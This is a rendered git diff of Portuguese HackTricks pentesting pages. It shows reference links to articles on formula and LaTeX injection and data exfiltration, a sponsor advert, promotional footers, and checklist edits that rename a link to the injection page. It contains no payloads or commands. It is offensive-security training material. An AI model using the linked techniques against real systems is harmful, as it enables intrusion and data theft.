TODO: Crie um resumo com as informações e técnicas mais relevantes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
||||
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
||||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -33,7 +33,7 @@ Atualmente, **aplicações web** geralmente **usam** algum tipo de **proxy inter
|
|||
|
||||
{% hint style="info" %}
|
||||
A maioria das aplicações web permitirá que os usuários insiram alguns dados que serão processados posteriormente.\
|
||||
Dependendo da estrutura dos dados que o servidor espera, algumas vulnerabilidades podem ou não se aplicar.
|
||||
Dependendo da estrutura dos dados que o servidor espera, algumas vulnerabilidades podem ou não ser aplicáveis.
|
||||
{% endhint %}
|
||||
|
||||
### **Valores Refletidos**
|
||||
|
@ -119,7 +119,7 @@ Funcionalidades que geram arquivos incluindo entrada do usuário podem executar
|
|||
Usuários que abrem arquivos enviados por usuários ou gerados automaticamente incluindo entrada do usuário podem ser comprometidos.
|
||||
|
||||
* [ ] [**Envio de Arquivos**](../file-upload/)
|
||||
* [ ] [**Injeção de Fórmula**](../formula-doc-latex-injection.md)
|
||||
* [ ] [**Injeção de Fórmula**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [ ] [**Injeção de PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**XSS do Lado do Servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
|
@ -145,6 +145,6 @@ Essas vulnerabilidades podem ajudar a explorar outras vulnerabilidades.
|
|||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue